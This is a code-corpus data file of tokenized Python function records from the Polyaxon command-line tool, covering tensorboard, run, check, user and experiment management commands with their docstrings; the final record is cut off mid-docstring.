{"signature": "@tensorboard.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def stop(ctx, yes):", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>group = ctx.obj.get('<STR_LIT>')<EOL>experiment = ctx.obj.get('<STR_LIT>')<EOL>if experiment:<EOL><INDENT>obj = '<STR_LIT>'.format(experiment)<EOL><DEDENT>elif group:<EOL><INDENT>obj = '<STR_LIT>'.format(group)<EOL><DEDENT>else:<EOL><INDENT>obj = '<STR_LIT>'.format(user, project_name)<EOL><DEDENT>if not yes and not click.confirm(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(obj)):<EOL><INDENT>click.echo('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if experiment:<EOL><INDENT>try:<EOL><INDENT>PolyaxonClient().experiment.stop_tensorboard(<EOL>username=user,<EOL>project_name=project_name,<EOL>experiment_id=experiment)<EOL>Printer.print_success('<STR_LIT>')<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(obj))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>elif group:<EOL><INDENT>try:<EOL><INDENT>PolyaxonClient().experiment_group.stop_tensorboard(<EOL>username=user,<EOL>project_name=project_name,<EOL>group_id=group)<EOL>Printer.print_success('<STR_LIT>')<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(obj))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>PolyaxonClient().project.stop_tensorboard(<EOL>username=user,<EOL>project_name=project_name)<EOL>Printer.print_success('<STR_LIT>')<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(obj))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>", "docstring": "Stops the tensorboard deployment for project/experiment/experiment group if it exists.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples: stopping project tensorboard\n\n    \\b\n    ```bash\n    $ polyaxon tensorboard stop\n    ```\n\n    Examples: stopping experiment group tensorboard\n\n    \\b\n    ```bash\n    $ polyaxon tensorboard -g 1 stop\n    ```\n\n    Examples: stopping experiment tensorboard\n\n    \\b\n    ```bash\n    $ polyaxon tensorboard -xp 112 stop\n    ```", "id": "f1055:m4"}
{"signature": "@click.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', multiple=True, type=click.Path(exists=True),<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, default=False, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>@clean_outputs<EOL>def check(file,  <EOL>version,<EOL>definition):", "body": "file = file or '<STR_LIT>'<EOL>specification = check_polyaxonfile(file).specification<EOL>if version:<EOL><INDENT>Printer.decorate_format_value('<STR_LIT>',<EOL>specification.version,<EOL>'<STR_LIT>')<EOL><DEDENT>if definition:<EOL><INDENT>job_condition = (specification.is_job or<EOL>specification.is_build or<EOL>specification.is_notebook or<EOL>specification.is_tensorboard)<EOL>if specification.is_experiment:<EOL><INDENT>Printer.decorate_format_value('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>')<EOL><DEDENT>if job_condition:<EOL><INDENT>Printer.decorate_format_value('<STR_LIT>',<EOL>specification.kind,<EOL>'<STR_LIT>')<EOL><DEDENT>if specification.is_group:<EOL><INDENT>experiments_def = specification.experiments_def<EOL>click.echo(<EOL>'<STR_LIT>')<EOL>get_group_experiments_info(**experiments_def)<EOL><DEDENT><DEDENT>return specification<EOL>", "docstring": "Check a polyaxonfile.", "id": "f1056:m3"}
{"signature": "@click.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str)<EOL>@click.option('<STR_LIT>', '<STR_LIT>', multiple=True, type=click.Path(exists=True),<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=int,<EOL>help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def run(ctx, project, file, name, tags, description, ttl, u, l):  ", "body": "if not file:<EOL><INDENT>file = PolyaxonFile.check_default_path(path='<STR_LIT:.>')<EOL><DEDENT>if not file:<EOL><INDENT>file = '<STR_LIT>'<EOL><DEDENT>specification = check_polyaxonfile(file, log=False).specification<EOL>spec_cond = (specification.is_experiment or<EOL>specification.is_group or<EOL>specification.is_job or<EOL>specification.is_build)<EOL>if not spec_cond:<EOL><INDENT>Printer.print_error(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(specification.kind))<EOL>if specification.is_notebook:<EOL><INDENT>click.echo('<STR_LIT>')<EOL><DEDENT>elif specification.is_tensorboard:<EOL><INDENT>click.echo('<STR_LIT>')<EOL><DEDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if u:<EOL><INDENT>if project:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>click.echo('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>ctx.invoke(upload, sync=False)<EOL><DEDENT>user, project_name = get_project_or_local(project)<EOL>project_client = PolyaxonClient().project<EOL>tags = validate_tags(tags)<EOL>def run_experiment():<EOL><INDENT>click.echo('<STR_LIT>')<EOL>experiment = ExperimentConfig(<EOL>name=name,<EOL>description=description,<EOL>tags=tags,<EOL>config=specification.parsed_data,<EOL>ttl=ttl)<EOL>try:<EOL><INDENT>response = PolyaxonClient().project.create_experiment(user,<EOL>project_name,<EOL>experiment)<EOL>cache.cache(config_manager=ExperimentManager, response=response)<EOL>Printer.print_success('<STR_LIT>'.format(response.id))<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>def run_group():<EOL><INDENT>click.echo('<STR_LIT>')<EOL>experiments_def = specification.experiments_def<EOL>get_group_experiments_info(**experiments_def)<EOL>experiment_group = ExperimentGroupConfig(<EOL>name=name,<EOL>description=description,<EOL>tags=tags,<EOL>content=specification._data)  <EOL>try:<EOL><INDENT>response = project_client.create_experiment_group(user,<EOL>project_name,<EOL>experiment_group)<EOL>cache.cache(config_manager=GroupManager, response=response)<EOL>Printer.print_success('<STR_LIT>'.format(response.id))<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>def run_job():<EOL><INDENT>click.echo('<STR_LIT>')<EOL>job = JobConfig(<EOL>name=name,<EOL>description=description,<EOL>tags=tags,<EOL>config=specification.parsed_data,<EOL>ttl=ttl)<EOL>try:<EOL><INDENT>response = project_client.create_job(user,<EOL>project_name,<EOL>job)<EOL>cache.cache(config_manager=JobManager, response=response)<EOL>Printer.print_success('<STR_LIT>'.format(response.id))<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>def run_build():<EOL><INDENT>click.echo('<STR_LIT>')<EOL>job = JobConfig(<EOL>name=name,<EOL>description=description,<EOL>tags=tags,<EOL>config=specification.parsed_data,<EOL>ttl=ttl)<EOL>try:<EOL><INDENT>response = project_client.create_build(user,<EOL>project_name,<EOL>job)<EOL>cache.cache(config_manager=BuildJobManager, response=response)<EOL>Printer.print_success('<STR_LIT>'.format(response.id))<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>logs = None<EOL>if specification.is_experiment:<EOL><INDENT>run_experiment()<EOL>logs = experiment_logs<EOL><DEDENT>elif specification.is_group:<EOL><INDENT>run_group()<EOL><DEDENT>elif specification.is_job:<EOL><INDENT>run_job()<EOL>logs = job_logs<EOL><DEDENT>elif specification.is_build:<EOL><INDENT>run_build()<EOL>logs = build_logs<EOL><DEDENT>if l and logs:<EOL><INDENT>ctx.obj = {'<STR_LIT>': '<STR_LIT>'.format(user, project_name)}<EOL>ctx.invoke(logs)<EOL><DEDENT>", "docstring": "Run polyaxonfile specification.\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon run -f file -f file_override ...\n    ```\n\n    Upload before running\n\n    \\b\n    ```bash\n    $ polyaxon run -f file -u\n    ```\n\n    Run and set description and tags for this run\n\n    \\b\n    ```bash\n    $ polyaxon run -f file -u --description=\"Description of the current run\" --tags=\"foo, bar, moo\"\n    ```\n    Run and set a unique name for this run\n\n    \\b\n    ```bash\n    polyaxon run --name=foo\n    ```\n\n    Run for a specific project\n\n    \\b\n    ```bash\n    $ polyaxon run -p project1 -f file.yaml\n    ```", "id": "f1057:m0"}
{"signature": "@click.group()<EOL>@clean_outputs<EOL>def user():", "body": "", "docstring": "Commands for user management.", "id": "f1058:m0"}
{"signature": "@user.command()<EOL>@click.argument('<STR_LIT:username>', type=str)<EOL>@clean_outputs<EOL>def activate(username):", "body": "try:<EOL><INDENT>PolyaxonClient().user.activate_user(username)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(username))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\".format(username))<EOL>", "docstring": "Activate a user.\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon user activate david\n    ```", "id": "f1058:m1"}
{"signature": "@user.command()<EOL>@click.argument('<STR_LIT:username>', type=str)<EOL>@clean_outputs<EOL>def delete(username):", "body": "try:<EOL><INDENT>PolyaxonClient().user.delete_user(username)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(username))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\".format(username))<EOL>", "docstring": "Delete a user.\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon user delete david\n    ```", "id": "f1058:m2"}
{"signature": "@click.group()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str, help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def experiment(ctx, project, experiment):  ", "body": "ctx.obj = ctx.obj or {}<EOL>ctx.obj['<STR_LIT>'] = project<EOL>ctx.obj['<STR_LIT>'] = experiment<EOL>", "docstring": "Commands for experiments.", "id": "f1059:m1"}
{"signature": "@experiment.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def get(ctx, job):", "body": "def get_experiment():<EOL><INDENT>try:<EOL><INDENT>response = PolyaxonClient().experiment.get_experiment(user, project_name, _experiment)<EOL>cache.cache(config_manager=ExperimentManager, response=response)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_experiment))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>get_experiment_details(response)<EOL><DEDENT>def get_experiment_job():<EOL><INDENT>try:<EOL><INDENT>response = PolyaxonClient().experiment_job.get_job(user,<EOL>project_name,<EOL>_experiment,<EOL>_job)<EOL>cache.cache(config_manager=ExperimentJobManager, response=response)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if response.resources:<EOL><INDENT>get_resources(response.resources.to_dict(), header=\"<STR_LIT>\")<EOL><DEDENT>response = Printer.add_status_color(response.to_light_dict(<EOL>humanize_values=True,<EOL>exclude_attrs=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>))<EOL>Printer.print_header(\"<STR_LIT>\")<EOL>dict_tabulate(response)<EOL><DEDENT>user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>if job:<EOL><INDENT>_job = get_experiment_job_or_local(job)<EOL>get_experiment_job()<EOL><DEDENT>else:<EOL><INDENT>get_experiment()<EOL><DEDENT>", "docstring": "Get experiment or experiment job.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples for getting an experiment:\n\n    \\b\n    ```bash\n    $ polyaxon experiment get  # if experiment is cached\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon experiment --experiment=1 get\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 1 --project=cats-vs-dogs get\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 1 -p alain/cats-vs-dogs get\n    ```\n\n    Examples for getting an experiment job:\n\n    \\b\n    ```bash\n    $ polyaxon experiment get -j 1  # if experiment is cached\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon experiment --experiment=1 get --job=10\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 1 --project=cats-vs-dogs get -j 2\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 1 -p alain/cats-vs-dogs get -j 2\n    ```", "id": "f1059:m2"}
{"signature": "@experiment.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def delete(ctx):", "body": "user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>if not click.confirm(\"<STR_LIT>\".format(_experiment)):<EOL><INDENT>click.echo('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>try:<EOL><INDENT>response = PolyaxonClient().experiment.delete_experiment(<EOL>user, project_name, _experiment)<EOL>ExperimentManager.purge()<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_experiment))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if response.status_code == <NUM_LIT>:<EOL><INDENT>Printer.print_success(\"<STR_LIT>\".format(_experiment))<EOL><DEDENT>", "docstring": "Delete experiment.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon experiment delete\n    ```", "id": "f1059:m3"}
{"signature": "@experiment.command()<EOL>@click.option('<STR_LIT>', type=str,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def update(ctx, name, description, tags):", "body": "user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>update_dict = {}<EOL>if name:<EOL><INDENT>update_dict['<STR_LIT:name>'] = name<EOL><DEDENT>if description:<EOL><INDENT>update_dict['<STR_LIT:description>'] = description<EOL><DEDENT>tags = validate_tags(tags)<EOL>if tags:<EOL><INDENT>update_dict['<STR_LIT>'] = tags<EOL><DEDENT>if not update_dict:<EOL><INDENT>Printer.print_warning('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>try:<EOL><INDENT>response = PolyaxonClient().experiment.update_experiment(<EOL>user, project_name, _experiment, update_dict)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_experiment))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>get_experiment_details(response)<EOL>", "docstring": "Update experiment.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 2 update --description=\"new description for my experiments\"\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 2 update --tags=\"foo, bar\" --name=\"unique-name\"\n    ```", "id": "f1059:m4"}
{"signature": "@experiment.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, default=False,<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def stop(ctx, yes):", "body": "user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>if not yes and not click.confirm(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(_experiment)):<EOL><INDENT>click.echo('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>try:<EOL><INDENT>PolyaxonClient().experiment.stop(user, project_name, _experiment)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_experiment))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>", "docstring": "Stop experiment.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon experiment stop\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 2 stop\n    ```", "id": "f1059:m5"}
{"signature": "@experiment.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT:-c>', is_flag=True, default=False,<EOL>help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', '<STR_LIT>', multiple=True, type=click.Path(exists=True),<EOL>help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def restart(ctx, copy, file, u):  ", "body": "config = None<EOL>update_code = None<EOL>if file:<EOL><INDENT>config = rhea.read(file)<EOL><DEDENT>if u:<EOL><INDENT>ctx.invoke(upload, sync=False)<EOL>update_code = True<EOL><DEDENT>user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>if copy:<EOL><INDENT>response = PolyaxonClient().experiment.copy(<EOL>user, project_name, _experiment, config=config, update_code=update_code)<EOL>Printer.print_success('<STR_LIT>'.format(response.id))<EOL><DEDENT>else:<EOL><INDENT>response = PolyaxonClient().experiment.restart(<EOL>user, project_name, _experiment, config=config, update_code=update_code)<EOL>Printer.print_success('<STR_LIT>'.format(response.id))<EOL><DEDENT><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_experiment))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Restart experiment.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon experiment --experiment=1 restart\n    ```", "id": "f1059:m6"}
{"signature": "@experiment.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', multiple=True, type=click.Path(exists=True),<EOL>help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def resume(ctx, file, u):  ", "body": "config = None<EOL>update_code = None<EOL>if file:<EOL><INDENT>config = rhea.read(file)<EOL><DEDENT>if u:<EOL><INDENT>ctx.invoke(upload, sync=False)<EOL>update_code = True<EOL><DEDENT>user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>response = PolyaxonClient().experiment.resume(<EOL>user, project_name, _experiment, config=config, update_code=update_code)<EOL>Printer.print_success('<STR_LIT>'.format(response.id))<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_experiment))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Resume experiment.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon experiment --experiment=1 resume\n    ```", "id": "f1059:m7"}
{"signature": "@experiment.command()<EOL>@click.option('<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def jobs(ctx, page):", "body": "user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().experiment.list_jobs(<EOL>user, project_name, _experiment, page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_experiment))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(_experiment))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(_experiment))<EOL><DEDENT>objects = [Printer.add_status_color(o.to_light_dict(humanize_values=True))<EOL>for o in response['<STR_LIT>']]<EOL>objects = list_dicts_to_tabulate(objects)<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>objects.pop('<STR_LIT>', None)<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "List jobs for experiment.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon experiment --experiment=1 jobs\n    ```", "id": "f1059:m8"}
{"signature": "@experiment.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def statuses(ctx, job, page):", "body": "def get_experiment_statuses():<EOL><INDENT>try:<EOL><INDENT>response = PolyaxonClient().experiment.get_statuses(<EOL>user, project_name, _experiment, page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_experiment))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(_experiment))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(_experiment))<EOL><DEDENT>objects = list_dicts_to_tabulate(<EOL>[Printer.add_status_color(o.to_light_dict(humanize_values=True), status_key='<STR_LIT:status>')<EOL>for o in response['<STR_LIT>']])<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>objects.pop('<STR_LIT>', None)<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT><DEDENT>def get_experiment_job_statuses():<EOL><INDENT>try:<EOL><INDENT>response = PolyaxonClient().experiment_job.get_statuses(user,<EOL>project_name,<EOL>_experiment,<EOL>_job,<EOL>page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(_job))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(_job))<EOL><DEDENT>objects = list_dicts_to_tabulate(<EOL>[Printer.add_status_color(o.to_light_dict(humanize_values=True), status_key='<STR_LIT:status>')<EOL>for o in response['<STR_LIT>']])<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>objects.pop('<STR_LIT>', None)<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT><DEDENT>page = page or <NUM_LIT:1><EOL>user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>if job:<EOL><INDENT>_job = get_experiment_job_or_local(job)<EOL>get_experiment_job_statuses()<EOL><DEDENT>else:<EOL><INDENT>get_experiment_statuses()<EOL><DEDENT>", "docstring": "Get experiment or experiment job statuses.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples getting experiment statuses:\n\n    \\b\n    ```bash\n    $ polyaxon experiment statuses\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 1 statuses\n    ```\n\n    Examples getting experiment job statuses:\n\n    \\b\n    ```bash\n    $ polyaxon experiment statuses -j 3\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 1 statuses --job 1\n    ```", "id": "f1059:m9"}
{"signature": "@experiment.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def resources(ctx, job, gpu):", "body": "def get_experiment_resources():<EOL><INDENT>try:<EOL><INDENT>message_handler = Printer.gpu_resources if gpu else Printer.resources<EOL>PolyaxonClient().experiment.resources(<EOL>user, project_name, _experiment, message_handler=message_handler)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_experiment))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>def get_experiment_job_resources():<EOL><INDENT>try:<EOL><INDENT>message_handler = Printer.gpu_resources if gpu else Printer.resources<EOL>PolyaxonClient().experiment_job.resources(user,<EOL>project_name,<EOL>_experiment,<EOL>_job,<EOL>message_handler=message_handler)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>if job:<EOL><INDENT>_job = get_experiment_job_or_local(job)<EOL>get_experiment_job_resources()<EOL><DEDENT>else:<EOL><INDENT>get_experiment_resources()<EOL><DEDENT>", "docstring": "Get experiment or experiment job resources.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples for getting experiment resources:\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 19 resources\n    ```\n\n    For GPU resources\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 19 resources --gpu\n    ```\n\n    Examples for getting experiment job resources:\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 19 resources -j 1\n    ```\n\n    For GPU resources\n\n    \\b\n    ```bash\n    $ polyaxon 